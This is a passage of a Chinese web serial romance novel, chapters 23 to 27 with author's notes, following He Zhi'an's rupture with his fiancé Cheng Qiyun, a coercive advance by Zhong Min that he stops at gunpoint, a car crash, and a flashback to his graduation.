什么时候,他和程起云已经变成,程起云替别人挡子弹,而他只能看着另一个人为程起云处理伤口的关系了? 过去的一切,难道都是他的一场梦吗? 还是说现在发生的才是恐怖的噩梦。 他摇摇欲坠,忘了程序东的车还停在地下室,离开大楼,无遮无掩地踏入雨中。 暴雨如注,天地间迷蒙一片。雨水兜头而下砸得人几乎生出疼痛,冬季的大雨迅速带走身上的体温,何芷安一脚踏进水洼中,怔怔地低头凝视自己狼狈的倒影。 过了会儿,被雨珠敲击得摇晃不停的倒影平静下来,头顶也不再有雨水落下,何芷安缓慢抬头,看见单手撑着伞站在面前的钟旻。 钟旻的手宽大、有力,持着伞柄,漆黑的雨伞遮出一片阴影将他们笼罩,何芷安的脸在伞下显得更加苍白,好似成了块玉,就要融化在这雨中。 钟旻抚开黏在他颊边的发丝,低声问:“冷吗?” 何芷安点头,然后问。 “为什么?” 钟旻深深地望着他,这一次,他竟没有流露对程起云的讥嘲,没有在何芷安撕裂的伤口再割一刀。他望着何芷安,像是越过他望见了更宏大的命运。 “莉莉啊。”他笑着说:“我们的世界,就是有利益,有选择,有很多的身不由己。” 他把伞交给身边的警卫兵,脱下风衣包裹住湿透的何芷安,揽着他,将他带上了自己的车。 何芷安没有反抗,他失去思考的力气,不愿意再深究原因,也不想再给谁找理由。有太多事实摆在面前,他被事实伤害得体无完肤,需要足够的时间和力气去恢复。 卫兵开车,钟旻与何芷安坐在后座,车辆平稳地行驶在马路上,空调暖风融融吹来,何芷安裹着风衣,靠在钟旻身上睡了一觉。 再醒来时他躺在床上,房间布置低调但奢华,布艺窗帘敞开着,宽大的圆窗望出去外头阴黑一片,分不清是到了晚上,还是天气所致。 他换了一身柔软的睡衣,浑身酸疼发烫,躺了一会儿后才意识到,自己像是发烧了。 程起云。 他下意识又想到程起云,身体已经先一步行动起来,伸出胳膊去拿摆在床头的手机。然而,手伸到一半,他想起那颗子弹,想起挡在程起云身前的白非,想到那一句“回去吧,安安”。 手指在空中蜷缩,何芷安缓缓收回了手。 他一动不动半晌,接着掀开被子下床,床边没有摆上拖鞋。他赤脚踩在地板上,温热的,开着地暖,但也坚硬。他走到窗边,用力推开了窗,终于看清外面还在下雨。 不过变成了毛毛雨,纤细连绵的雨丝随风拂到他身上,他烧红的脸颊感受到凉意。 何芷安觉得自己只不过站了片刻,可当忽然一双手从背后探来,环住他的腰,将他拥进怀里。他的脊背和钟旻的胸膛相贴,男人的嘴唇碰上他冰冷的耳垂,他浑身脱力,四肢有着骤然回温的发麻感,他才反应过来,自己应该已经站了很久了。 钟旻说:“你站在这里,我以为你要跳窗逃跑了,公主。”—— 作者有话说:三更 第24章 第 24 章 毒苹果 何芷安心中一阵刺痛, 程起云以前也总爱这么叫他。 现在回忆起来,真真假假,都像是梦幻泡影了。 他面无表情地转过身, 问:“我为什么要跑?” 钟旻看着他:“我以为你会抗拒我。” 何芷安笑了。 “为什么, 因为你说过喜欢我吗?” “但是你现在喜欢白非,不是吗?” 钟旻蓦地沉默,他注视着何芷安, 忽然抬手撩起他衣摆,手掌探入,抚摩他的腰身。 “但有些事,不管我们喜欢谁、不喜欢谁, 都可以做。” 何芷安的身体因他的动作后仰,倒在了窗杦上。冷色调的天光自后方蔓延到他面颊和脖颈,在抬起的下巴处投出一片青色的阴影。纤长的颈项就安静地蛰伏于这阴影中,无生机般倒落着。 他双眼望着上方的钟旻, 清澈的眼瞳映出男人模糊的轮廓,天光如此暗沉,他的嘴唇也无血色。 钟旻抚摸他窄腰的手掌沿肋骨向上,托住他的后背。何芷安因他的力道离开窗台,靠近钟旻的胸膛, 钟旻直视着他, 随后吻了下来。 我和哥哥已经很久没有接过吻了。这一瞬间, 何芷安脑中闪过这个念头,以至于他双目失神, 没有避开。 自从他出国后,他和程起云就没再接过吻。就算他回国,与对方也做了一些极暧昧亲密的事, 在这过程中,程起云也从未吻他,顶多是贴碰他的唇角。 何芷安闭上眼睛,双臂环住钟旻的脖颈,张开了唇关。 钟旻在他唇上磨蹭的舌头紧跟着闯进来,肆意地□□他的齿与舌,熟稔地勾着他的舌尖纠缠。他们的身体紧紧相贴,男人接吻的同时用手穿进他后脑的发丝中来回厮磨,拇指蹭刮耳后小片皮肤,吮吸时高挺的鼻梁轻轻在他脸侧擦过。 极富经验的侵略与挑逗姿态,何芷安身体迅速发热,感受到几乎回响在脑海的黏稠水声,忍不住微微撑起眼皮,看见的是近距离下显得有些陌生的钟旻的眉眼。 何芷安又想起程起云。 他们第一次亲吻是在初中的时候,很单纯的唇碰着唇。程起云常亲他,亲他额头、鼻尖、脸颊,这是他们彼此之间习惯了的事,有时程起云甚至会当着他们父母的面亲他的脸,大家也不觉得有什么不对。 那一天,何芷安从私家车上下来,看见背着单肩包在校门口等他的程起云。 这个假期他没和程起云过,和家里人去了日本的雪场。他还给程起云送了自己堆的他们两个人手牵手的小雪人,装在冷冻箱里空运回去,现在就放在程起云卧室水吧的冰箱上。 程起云也看见了他,先一步走过来。他高好腿长,几步就到了何芷安面前,私家车还没开走,他就理直气壮地单手撑着车顶,低头来亲何芷安。 他要亲的是脸,可何芷安也好想念他,伸手抓着他的衣领跟着仰头来亲他,于是嘴唇就这样碰在一起。 何芷安怔住了,程起云也是。很长的时间里,两个人一动不动,何芷安能感受到程起云身上鲜少会出现的无措,以至于对方身体都很僵硬,嘴唇却是柔软的。 周围逐渐有目光投落过来,就算是私立学校,在早晨人流高峰期,当着进进出出的师生的面,在学校大门口接吻还是有点枉顾校规校纪了。 但他们还是没有马上分开,到后来,何芷安也不明白过了多久,他记忆中很长久的时间,实际上似乎也只有几秒钟,程起云率先直起身体,将他抱进了怀里。 很平常的,像以往任何时候那样用下巴摩挲他的发顶,问。 “想我了吗?” 他这个人从来不会对何芷安说,我喜欢你、我想你。他只会问,你喜欢我吗?你想我吗? 实在忍不住吐露倾泻的情意时,也只会叫。安安,公主,后来又增加了宝贝,宝宝。 何芷安也很配合,乖乖地说:“想了。” 这就是他们的初吻了。 整个初中生涯他们都是这么过的,没有什么正式的意味着“我们可以开始接吻”了的告白宣言,程起云开始亲他的嘴巴。仅仅唇贴着唇,不过程起云逐渐也开始亲他的脖子,他的锁骨,他的胳膊……何芷安毫无反抗,有时候会自己粘过去讨亲。 直到何芷安升上高一,穿着新生制服拍完入学照,才被已经高三的程起云堵在更衣室里撬开齿关,潮湿黏腻地舌头卷舌头。 但程起云也是全然生疏的,只有青涩的热情,咬破了何芷安的嘴唇,吮痛了他的舌头。以至于何芷安下意识以为深吻就是很痛的,但是这样很亲密,他很喜欢。 到后面,次数多了,程起云变得熟练,他才知道原来碰着对方的舌头会这么舒服。 但是现在和他接吻的不是程起云。 是钟旻。 认识到这个事实,他的心脏骤然绞痛,忽然偏开了头。 黏连的唾液拉出丝线,钟旻潮湿的嘴唇落在了他右颊上。 何芷安眼皮抖了抖,说:“算了吧。” 钟旻动作一顿,忽然抬手捧住他的脸扳正,无视他的拒绝继续吻了下来。何芷安扭头挣开,男人原本尚算温和的亲吻蓦地变得粗暴,手指强行捏开他的齿关,舌头用力地摩擦他,几乎顺着舌根舔进他的喉咙。 何芷安喉口收缩,甚至想要干呕。他重重推开钟旻,自己因反作用力撞在了窗户上,钟旻干脆俯身将他从窗边扛走,转身摔进了柔软的大床。 视野天旋地转,何芷安仰躺在床上,睡衣长裤被扯下扔在地板,钟旻单膝抵在他腿间,居高临下地望着他。 那眼中烧着漆黑的火焰,有欲望、有挣扎,还有浓烈的不甘。 “凭什么他可以,我不可以?” “——难道只有他程起云有办法?” 最后一句话似乎不是对何芷安说的,可现在没人在乎。钟旻俯身亲吻他,力度之大,几乎是狮王在用吻部逡巡自己的领地,他从脸一路下吻,隔着睡衣蹭过何芷安的胸膛腹部,最后双掌抄起他的腿弯,将他长腿折起,暴露无遮无挡的腿根。 钟旻咬住他的大腿,何芷安痛嘶了一声,拽住他的头发,将他扯起来,给他一巴掌! 清脆的响声,钟旻偏过头,用舌头舔了舔破皮的口腔内侧。他低笑着转回来,眼神却变得危险。 “也就你了,公主。” 说着,他再度俯下身,何芷安直起身体,躬起肩背抱住他。钟旻以为他服软了,感受到他的手沿着自己肩膀往下摸,突然的,熟悉的上膛声响起。钟旻脊背汗毛倒竖,对于危险的敏锐感知暂时掐灭了烧在他胸腔的野火,他缓慢抬头,看见眼神静如死水,持枪指着他脑门的何芷安。 何芷安从他后腰抽出手枪,用枪对着他,单脚踩着他的肩膀用力,钟旻顺着他的力道离开床,双手后撑,坐在了地板上。 他坐着,抬头和敞着腿坐在床沿的何芷安对视,长久的静默后,钟旻恢复了一贯的镇定。 钟旻笑着:“我是想让你舒服。” 何芷安轻声说:“我不舒服。” 何芷安把枪膛推回去,将枪扔给了他,说。 “走吧。” 钟旻没拿扔在怀里的枪,也没马上走,只是问。 “你觉得程起云要花多久才能知道你在我这里?” “我没瞒着,但他现在忙着白非的事,不一定腾得出手。” “一周?半个月?一个月?” “他知道你在我这意味着什么吗?” 何芷安总算开口。 “什么都不意味着。”他说:“出去。” 钟旻拿着枪起身,深深地看了他一眼后,推门离开了。 房中霎时安静下来,只有没关的窗户回荡着呼呼的风声,以及雨水撞击玻璃的声响。雨似乎变大了,何芷安觉得有点冷,愣愣地看了窗户一会儿后,懒得关,也懒得去捡地上的睡裤,把自己重新卷进了被子里。 程起云是在第三天早晨登门的。 当时,何芷安已经起了,他这几天无所事事,不想看手机,也不想应付钟旻,白天大多时间在睡觉,晚上反而睡的少。 钟旻说他是中毒后沉睡不醒的白雪公主,程起云就是他的毒苹果。 何芷安竟然觉得很有道理,但在这斯不要脸地说自己就是吻醒他的王子后,问了一句。 “那么故事最后,王子迎娶公主,幸福快乐地生活在一起了?” 原本笑着的钟旻却敛起了神情,沉默下来,何芷安就意识到,这不是他们的结局。 不管是基于什么样的原因,什么样的选择,钟旻做不到。也许一开始,他脱离程起云的安排,登上那艘载着何芷安的游轮时,他对何芷安怀有更真挚的想法,但他现在做不到。 也许是因为白非,也许是因为这个世界是一本书。 但是都不重要了。 何芷安笑了笑,说:“少讲点童话故事。” 程起云登门的时候,何芷安和钟旻之间正因为这个童话故事一整晚未说话,肢体接触也无,两个人静默地坐在餐桌边,何芷安正在玩桌上的鸡蛋。 他们坐在院子里用餐,何芷安坐在秋千上,放晴的天空透蓝,阳光穿过头顶的爬藤落在何芷安身上,他穿着毛绒绒的睡衣,像是在这里生活了很久、也生活得很好一样。 旁边的白色长椅上,钟旻坐着,正在喝粥。 程起云被管家带进院子里,皮鞋踩着枯叶的声响惊动了两人,他们同时看过来。 钟旻眉眼寸寸舒展,他拿过被何芷安玩得乱七八糟的鸡蛋,剥去蛋壳放进对方碗里,擦干净了手后,才扔下帕子面向程起云。 “程总,来得真早啊。”—— 作者有话说:算上本周四,接下来两周我将进行一个日更的大动作!(挥手)所以我将索取我的报酬!(鬼鬼祟祟偷走观看本文的读者兜里的营养液) 是在向大家乞讨营养液的意思…(蛋花眼) 第25章 第 25 章 奔跑 何芷安看着程起云。 程起云还是那样, 五官悍厉,神情冷硬。一身黑的西装和大衣外套,在清晨露水中如同黑夜深沉的剪影。 男人的视线从钟旻脸上转开, 落到了他身上, 然后看了看碗里的鸡蛋。 “玩多久了?” 他话像是问何芷安的,却是对钟旻说:“别让他吃凉的。” 何芷安攥紧了手指。 钟旻盯着程起云,过了会儿, 点点头。 “你是特地来告诉我怎么照顾小安的?” 程起云:“我来接他回去。” 钟旻:“如果我不放人呢?” 程起云直视着他,目光轻薄似刀,钟旻和他四目相对,坦然往后一靠, 笑着说。 “开玩笑的,怎么会呢。”他看了一眼何芷安,不紧不慢道,“只是有个条件。” “——拿白非来换。” 话音落下, 砸出一院静默,阳光无声地铺满地面,亮眼,却没有让谁感到暖意。 何芷安没说话,他曾经对齐诚信誓旦旦地说, 程起云没办法把他送人, 因为他会自己走来走去。现在也一样, 不像白非,他其实拥有自主决定自己去向的能力。 但他仍然保持静默, 任由对峙中的两个人将他物化成某样附属物似的东西,为了听程起云的回答。 他想要一个答案,关于程起云选择的答案。 他, 或者白非。 阳光爬上何芷安的小腿,细微的暖意总算渗透进来,带来类似于昆虫爬动的酥麻感。程起云也终于动了,他后退了一步。 何芷安猛地站了起来! 在程起云开口之前,他盯着对方的眼睛,抢先道:“程起云,你今天要是出了这个门,我们就完了!” 他的声音那样果决、干脆,眼神也坚定而冷然,然而,他心中仓惶无以复加,这几天麻木的感知尽数苏醒,在他体内翻涌至于五脏六腑都钝痛。他威胁程起云,实际是哀求程起云,他抢先拿话堵住程起云的嘴,实际上已经明白了自己听不到想听的回答。 但何芷安还是说:“……我说话算话。” 带我走吧。 就这一次,选我吧。 程起云的脚步定在了地上。 他站得那么直,仿佛外界风霜雪雨奈何不了他,商场上明争暗斗也为难不了他,何芷安要和他一刀两断的胁迫……似乎也只是这冬日中的一缕寒风罢了。 男人表情不变,眼神深暗,西服下的马甲束着他的腰身,类同肋骨裹着心肺,皮肉包裹骨骼,又是一层让他始终昂首挺胸的盔甲。 程起云说:“安安,不要闹。” 何芷安沉默下来,过了片刻,扬手掀了盘子!餐盘翻倒,粥水淌了满桌,已经变冷的鸡蛋滚落在地。钟旻放进他碗里那个被他拿起来,重重砸在了程起云脸上。 他离开桌子,擦着程起云的肩膀走出院门,谁也没再看,径直上了楼。 程起云没有马上走,仍然留在原地。 钟旻看完一出好戏,鼓了鼓掌。 “很为难,是不是?” “程起云,你把我拖进来,让我陷进这个漩涡被撕扯了无数次,也该自己受一受了。” ——我早就受过了。 程起云想着,却没有说,只是摘下脸上粘着的蛋白碎渣,开口。 “我没得选。”他说:“但是你有。你为什么选这条路,你自己清楚是为了什么。” 钟旻脸色变了:“你什么意思?” 程起云没再回答他,转身离开了。二楼,何芷安站在窗边,看着他上车的身影,脱力地翻身背靠住墙,缓缓闭上了眼睛。 这是栋复古洋楼,一共三层,何芷安住在二层。 三层大概是钟旻的地盘,他没上去过。 对于程起云以外的人和事,他一直没什么好奇心,也都不太有所谓。今后,他唯一怀抱的这份好奇心似乎也无处安置,成为没有意义的东西了。 何芷安时隔三天,终于打开手机。许多消息,许多未接来电,他都没有看,只是找出程序东的号码拨了出去。 “随便你用什么理由,把钟旻约出去。” 说完,他挂断电话,打给了齐诚:“地址发你了,来接我。” 长时间没有充电,手机的电量只剩3%,打完这两个电话后屏幕熄灭,手机自动关机了。 何芷安也没有去充电,就靠着墙壁愣着。大概十五分钟后,他听到钟旻出门的动静,再过了一会儿,喧嚣的引擎声由远到近,齐诚将车甩尾停在门口,就要往前院里冲。 但洋楼前的庭院铁门是锁着的,他不得不边骂骂咧咧边按门铃。 何芷安握着没电的手机下了楼。 路上,他碰见一些佣人,也碰见已经眼熟的管家。没有人拦他,当然,以何芷安的身份,也没人拦得住他。 他走出大门,穿过草木森森的庭院,打开了铁门,迈了出去。 管家目送着他的背影,转身拿起电话,大约是跟钟旻汇报去了。 齐诚看见他身上的睡衣愣了一下,但没有多问,只拉开车门催着他快上车。 “外面冷,暖气够吗?你自己调高点儿。” 齐诚说着,给自己系上安全带,又盯着何芷安把安全带系好了,才把车开了出去。 车速也放慢不少。 他开的也是帕加尼,和程序东同款。当时原本是齐诚买的新车,方向盘才摸了一次就在牌桌上输给了程序东,程序东天天开着这车在他面前晃悠,他气不过,又加急订了一辆。 等他出了这口气,程序东又不怎么开了,大多时间扔在车库吃灰。 何芷安后知后觉想起,程序东的那辆车,还被他停在程起云那套房子的地下车库。 但他已经不想再踏入那个地方了。 他许久没有出声,也没有动弹,齐诚自己动手调高了空调温度,看了他好几眼,终于忍不住问。 “没事吧?” 何芷安靠在副驾驶座上:“……没事啊。” “没事你这个样子?!”齐诚拔高嗓音:“头发乱糟糟的,脸色苍白得跟鬼一样,大冬天的就穿着睡衣拖鞋出来,钟旻是虐待你了?” 顿了顿,又问:“而且你为什么在钟旻那儿?东子刚刚火烧眉毛组的那个局就是冲你吧?你俩怎么回事儿?” 他和钟旻怎么回事儿? 或者说是发生了什么,会让人觉得他和钟旻怎么回事儿了? 何芷安能感受到齐诚的疑虑和关切,但他太过疲惫了,有种从脚趾开始往上蔓延至全身的无力感,连坐在副驾上都觉得累人。 他没力气,也不知道该怎么和别人说明这一切,这几天发生的事连他也说不明白。 最清楚的事实是,程起云在白非和他之间选择了白非。 有这个事实似乎就也够了。 何芷安始终沉默,齐诚有点急了,忍不住转头盯着他,想要催问两句。 钟旻待的洋楼建在郊区的一座小山上,修了盘山公路,这时他们刚从公路下来,到了山脚下,即将汇入一个十字路口。 帕加尼绿灯直行,横行的一辆本田却赶着黄灯马上要变红的那点时间,从侧方嗖地蹿了出来。平时帕加尼开在路上也没人敢碰,大多会保持距离,齐诚也是玩车好多年了,别人轻易挨不着他。 然而,这本田大概是赶时间没看清,什么都不顾了,齐诚也恰好扭头看着何芷安,没注意到朝这边开过来的车。 在横行的红灯彻底亮起的那刻,本田重重撞在了帕加尼上! 撞的是车前盖和驾驶座之间的位置,差一点就隔着车门将齐诚撞个正着。帕加尼的车身猛烈摇晃了两下,左大灯碎了,安全气囊也弹了出来,齐诚活动了下四肢,自我感觉到没什么事儿。他也顾不上看那辆闯红灯的本田,马上扭头去看旁边的何芷安。 却看见何芷安闭着眼睛倒在车窗上,脑袋和玻璃相贴的部分缓缓流下粘稠的鲜血。 齐诚霎时魂飞魄散,从安全气囊里挣扎出来去摸何芷安的呼吸,确定他只是晕过去后立刻拿手机打了120。接着推门而出,对同样下车了看起来没什么事儿的本田车主一拳头抡了过去—— “你要上赶着投胎我现在就可以送你去死!” 围观的群众惊呼,有掏出手机录像的,也有上来帮忙拉架、打110的。齐诚没盯着肇事车主,揍了他一拳后就继续联系人。何家父母、他自己的父母、程序东该联系的联系了个遍,很快这条路段就被直接封锁,交警到场指挥车辆绕行。另有警车、救护车、几家的私人车到场跟进,鸣笛声和被请离的群众的议论声搅合成一片,昏昏沉沉从副驾被抬出来的何芷安感觉自己仿佛陷入了巨大的噪音漩涡。 他觉得吵,吵得他大脑发痛。伴随着强烈的阵痛涌上来的是大团大团模糊的记忆,仿佛从墨水中扯出来的纸巾,已经皱缩烂糊,却分明存在着,堵塞着他的脑域神经。 鲜血从他额角流下,很快淌满半张脸。他被放上担架,送入救护车,高浓度的氧气从氧气面罩没入口鼻,他被动地呼吸着,在嘈杂凌乱的黑暗中感受到那原本看不清的烂纸团逐渐展开,墨迹晕开变浅,最终定格在他的高中毕业典礼。 那年,何芷安高三毕业,程起云在国内TOP1的联大双修工商管理和微电子科学,刚在MIT完成时长两年的赴美交换生学习。 毕业典礼上,何芷安以为程起云无法从美国赶回来,他穿着毕业制服,百无聊赖从礼堂内偷偷溜出来。没来得及给程起云打电话,就看见对方站在礼堂正对面的古树下,白衬衫笔挺,眉眼深邃温柔,怀里抱着一大束迎风摇曳的向阳花—— 作者有话说:谢谢大家的投雷和营养液嗷!开启回忆杀,离真相大白又近了一步~ 第26章 第 26 章 毕业旅行 那年何芷安19岁, 程起云21岁。 何芷安的身高突破了180厘米,是个很俊秀修长的小伙子了。他眉毛和眼睛颜色都天生浅淡,五官却是华丽浓艳的, 浅淡的眉角眼梢只突出了他深刻的面部形廓, 叫这一张脸更加吸睛。 他穿着蓝色格子衬衫和黑西裤,收腰的裤子束出流畅紧实的腰线,大腿上的衬衫夹在西裤下隐隐显出痕迹, 锃亮的牛皮鞋在阳光下反射一轮温润的光晕。 与他相比,大上两岁的程起云已经褪去了隐隐约约的青涩,更彻底地显出男人味来。他面容硬朗,眉眼形状生得张扬锋利, 眼神沉淀着无声的冷漠和傲慢,只有在对着熟悉的人时,那冷漠才化开一些。而对着何芷安,便融如暖水了。 何芷安张开胳膊朝他跑过去, 程起云单手抓着花,稳稳接住了他扑过来的力道。双臂环着他的腰身,顺势带他在原地转了一圈儿。 程起云笑着:“怎么又变沉了,你不是说拍毕业照要控制体型吗?” 何芷安抱怨:“但是营养师只给我吃草啊,我受不了, 每天都要起来吃夜宵。” 程起云于是判断:“你是小猪。” “好啊!”何芷安就叫起来, 挥着他送的向日葵揍他:“在美国待久了喜欢金发碧眼的小帅哥了是吧, 看不上我们这等小猪了!” 向日葵金色的叶子掉下好几片,在空中飞舞, 程起云后仰身体躲着,挨了好几下才重新抱住何芷安,抬手轻轻拧了一下他的鼻尖。 “不喜欢他们, 只喜欢你。” “我是什么?” “小猪。” “你再说!” “哈哈,好吧,是我的未婚夫。” 程起云低头,很温柔地和他蹭了蹭鼻子:“谁运气这么好啊,有全世界最英俊帅气的未婚夫,上辈子拯救世界了,所以这辈子才收到世界给的礼物?” 何芷安忍了又忍,还是翘起唇角:“你干嘛,哪里学的,说这种话?” 程起云说是真心话,何芷安又不好意思了,去捂他的嘴,最后被扣着手十指交握。 他看了看礼堂大门:“你们毕业典礼还没结束吧?” 何芷安说:“差不多了,现在是校长在总结讲话。” 程起云提议:“那我们?” 何芷安压低声音:“快逃!” 他们就手牵手跑向校门口,何芷安抓在手里的向日葵被吹得在半空弯出一道半圆,大花盘子抖动着,洒了一地的花瓣。 程起云是坐家里车来的,停在校门口的停车场里。他们上了车,何芷安熟门熟路地和开车李叔打了招呼,和程起云坐到后座去。 李叔乐呵呵地开着车,听着后面程起云和何芷安两个人头碰着头,在嘀嘀咕咕地说小话。他是从机场接到程起云就往这赶的,现在程起云的行李箱还放在后备箱里,花也是路上才买到。 程起云基本只有在何芷安的事上会显出不那么沉稳的毛毛躁躁,甚至有着符合这个年龄但与他性格差异甚大的活泼——李叔刚从机场接到他的时候他才在VIP的休息室里换完衣服,脚步迈出收回不果断,李叔问他是不是落了东西,他犹豫着问这身衣服是不是不够正式。 但很快否定了自己,说太正式也不行,显得沉重了,才终于从休息室走了出来。 李叔听他们叽里咕噜说了一通,当然,大多数时候还是何芷安在叽里咕噜,程起云只是在配合他说话,之后,前后座椅间的挡板升起来,他就看不见也听不见了。 说渴了的何芷安跨坐在程起云的大腿上,吃他喂的水。 他们从小到大,亲密得和一个人似的,不知道什么时候,程起云甚至会把水含在嘴里去喂他。齐诚撞见过一次,大喊好腻歪好恶心,当事人却一点没觉得。 何芷安和程起云唇舌交缠,吞咽从他嘴里渡过来的温水。当他喝够了,舌头和嘴唇都变得湿润,程起云又反过来吮吸他的舌尖,牙齿轻轻磨着他的唇肉。 亲着亲着,程起云开始隔着西裤抚摸他绑在大腿上的衬衫夹,动手解开他的衬衫。何芷安主动敞开衬衫,仰头让程起云吻他的脖颈和胸膛,他也扯出程起云的衣服,手从下摆摸进去,覆着那有力的腰身,摩挲轮廓清晰的腹肌。 回家这一路将将够他们亲密的,李叔在市区多绕了两圈,才开回程家。 程家,程父程母也在的这套房子位于南都最昂贵地段的别墅区,程起云有专门的一栋。车开进车库后,两人先去和程父程母打了招呼,才回程起云那。 走在路上,何芷安的衬衫扣子最上面两颗还没扣好,脖子上有着刚刚留下来的红印。程起云的白衬衫也皱巴巴的,衣摆堆在裤腰上——他们刚刚就是这么和父母打招呼的,没人觉得不对,只有程父无奈地说了句“急不可待、乱胡闹”。 何芷安笑眯眯地看着他,他也就不说了。 到了程起云那儿,何芷安马上扑进沙发,一层会客厅放着的沙发和单人床差不多大,程起云坐在他旁边,何芷安掏出手机给他看自己做的攻略。 手机屏幕太小,程起云干脆开了投屏,何芷安问。 “你暑假有空的吧?答应我陪我毕业旅行了的!” 程起云是提早完成了交换学习赶回国的,手上欠着两篇论文和一份交流报告,这些材料弄完之后还要跟个校内实验室的项目。不过他已经和学校协调了时间,没有和何芷安说那么多,只是道。 “没问题。” “那我给你看看我的计划” 何芷安开始介绍,他们每个假期只要能凑上时间的,基本都会出去。亚洲的几个国家已经转遍了,欧洲也去过好几次,程起云赴美期间何芷安更是时不时往马萨诸塞州跑。但每次和程起云出去他都保持着和第一次出游一样的热情,最开始是程起云安排计划,后来就都由他接手了。 “你听说过‘Patagonia 的火焰’吗?这是菲茨罗伊峰登顶后最著名的风景,如果我们能赶上日出,山顶的花岗岩巨壁将被太阳照成火红色,它倒映在下方的Laguna Sucia湖里,就像山峰正在燃烧。” 何芷安调出图片给他看,投影巨幕上,照片的清晰度极高。冬季清透异常的Laguna Sucia湖中菲茨罗伊峰的花岗岩壁被日光渲染成橙红,那颜色近乎化开的油彩般热烈,与冰湖碰撞出鲜明的色泽对比。 程起云随手抓了个抱枕,在看投影时也在低头查资料:“在巴塔哥尼亚?” “对!”何芷安说:“阿根廷和智利的边境。” “我们可以先训练一段时间,在6月底飞到阿根廷的查尔滕镇,最后检查一次装备并完成补给。然后坐直升机到离菲茨罗伊峰最近的冰川平台,带上装备徒步三公里到达‘阿根廷裂缝’,从这里开始攀岩。” 程起云不得不打断他,晃了晃手机:“6月是南半球的冬季,登山不安全。” 何芷安靠过去:“所以要训练啊!我们可以带专业的向导和登山教练嘛!爬不到山顶就不爬了,就是去体验一下。” 程起云现实地说:“菲茨罗伊峰在阿根廷国家公园北部,整个国家公园实行禁飞政策。如果我们到了查尔滕镇之后不能坐直升机,徒步到山脚下起码要两天。那里没有公路,马帮冬季大概率也不做生意,光靠两条腿,你估计走到山脚下就喊着要回来了吧?” 何芷安把下巴压在他的胳膊上,抬着眼睛期待地望着他。 “所以你想想办法让直升机飞起来嘛,哥哥。” 程起云:“我有办法吗?” 何芷安:“你有的。” 程起云和他对视,过了半晌,笑起来:“好吧,我有。” 何芷安欢呼一声,用力抱住他。 “那就这么定了哦?我们去爬菲茨罗伊峰,看冰湖和‘Patagonia 的火焰’!” 程起云心里已然推断出以他们的临时抱佛脚水平,带一百个教练也不可能爬到山顶。不过没有泼何芷安的冷水,任由激动中的未婚夫挂在自己身上扳着他的肩膀晃来晃去,笑叹了一声“好”。 定下毕业旅行地点,何芷安去联系教练和装备采买,程起云去处理直升机的事。何芷安的兴奋持续到晚上,躺进被窝了还在畅想他们在花岗岩石壁上大显神威、如履平地,俯视整座Laguna Sucia湖。 程起云靠坐在床头,被子上放着台笔记本,单手在他面前打了个响指。 “暂停。你还要抽时间回家待几天,林阿姨不是说给你安排了毕业宴会吗?” 何芷安被迫止住自己的幻想,翻了个身:“哎,不想回家。” 他经常跑来程家,晚上就睡在程起云的卧室,程起云倒是没怎么去他家留宿过。毕竟何晟和林芸看何芷安看得还是挺紧的,程起云无法在他们的监视下对何芷安动手动脚。 或者被动手动脚。 何芷安的长腿在被窝里一抬,重重压在程起云身上,差点把放在被子上的笔记本给踹出去。程起云眼疾手快地把笔记本端起来,将差个收尾的报告保存,合上电脑放到了床头柜上。 他躺下来,侧身和何芷安面对面,拍了拍他的腿。 “那你在家里少待几天。” “宴会结束你就接我回来?” “嗯。” “嘿嘿,亲亲。” 程起云凑过去吻住他,拉上被子盖住了两个人—— 作者有话说:这章是提前更周日的哈,因为今天可能不过零点就睡觉了,明天没有了嗷。周一凌晨再更(搓搓手) 另外这两章确实有点虐,不过我感觉应该也没有那么虐吧……今天凌晨更新完突然收到了文章被举报消息的士多啤跌倒在地。(想讲一些剧透的话)(忍住离开了) 第27章 第 27 章 征兆 虽然亲密异常, 不过何芷安和程起云一直没到最后一步。 不是何芷安不愿意,是程起云在这方面有种老封建心态,一定要把他们的初次留到结婚那天——他认为这样有种“庄重的仪式感”。 何芷安不理解, 闹了几次程起云也不妥协, 只好被迫尊重。 不过,除了没进行到最后一步,其他事情他们早都做完了。这回也胡闹到大半夜才睡下, 程起云搂着洗过澡浑身散发着水汽和沐浴露香味的何芷安,闭上了眼睛。 这夜却没有睡好。 何芷安睡醒的时候已经快要中午,他想当然觉得程起云早就起了,程起云有早起锻炼的习惯, 就算熬了个通宵早上也要去健身房。而且他刚上大一就在浙生集团下成立了独立的子公司,同时要兼顾学业和公司的事,他总是很忙,没有睡懒觉的时间。 这次睁眼竟然看见程起云就睡在他旁边。 程起云眉毛轻微地拧着, 脸上是不太痛快的神情,何芷安好稀奇,手指压上他的眉心,一点点将其间的褶皱捋开。 随着他的动作,程起云被惊动, 带着浓重的困意睁眼。他的眼神还未清醒, 迷蒙着。何芷安凑过去吻了吻他, 轻声问。 “看起来这么不高兴,是梦到什么了吗?” 程起云又闭上眼睛, 再睁开时,何芷安的脸完整地映入他的眼底。那些不愉与刚醒的混沌从他脸上退去,独属于程起云的面对任何事都平静又坦然的气场在他身上复苏, 他扬起唇角。 “梦见了一个人。”他的嗓音沙哑,“还梦见了我们。” 何芷安开玩笑:“什么人,你背着我出轨找情人啊?” 程起云承认了:“还真是。” 何芷安睁大眼睛:“喂,你” 程起云笑起来:“梦见浙生针对重症病的公益基金项目给人捐了款,结果那人是我联大的学弟。读书的时候没碰上,毕业回去校招正好撞见他,他来感谢我,结果我对他一见钟情,得不到后强取豪夺了。” 何芷安被这剧情逗笑了,都没顾上生气。 “这梦的情节还挺具体。你睡前确定在写报告吗,不是看什么八点档狗血剧了?” “我也不知道怎么会做这种梦。” “然后呢?你把人强取豪夺了,我呢?我就不管啊?” “你好像出国了。”程起云忍笑:“你没多少戏份。高中毕业出国念大学,回国后听说我对人强取豪夺,认为是别人对我死缠烂打,处处刁难人家,还甩了三千万让他离开我。” 何芷安“哈”了一声:“你想得美啊!你要是和别人纠缠不清我马上把你甩了,还刁难人呢,还三千万呢!” 程起云眯起眼睛,似乎是在回忆:“梦里你可是要死要活的,主动勾引我,哭着求着让我不要解除婚约” 何芷安压上去双手并用捂住了他的嘴,磨了磨后槽牙。 “我发现了,你这做的是美梦啊。现在跟我在这许愿?” 程起云眨了眨含笑的眼睛,嘴唇蹭过他的掌心。 在他张口咬何芷安的掌心之前,何芷安很有先见之明地松开手,趴在他胸膛上用手指戳着他的下巴。 “所以呢,在梦里你是跟人家修成正果和我终止婚约了。还是家里红旗不倒,外面彩旗飘飘啊?” 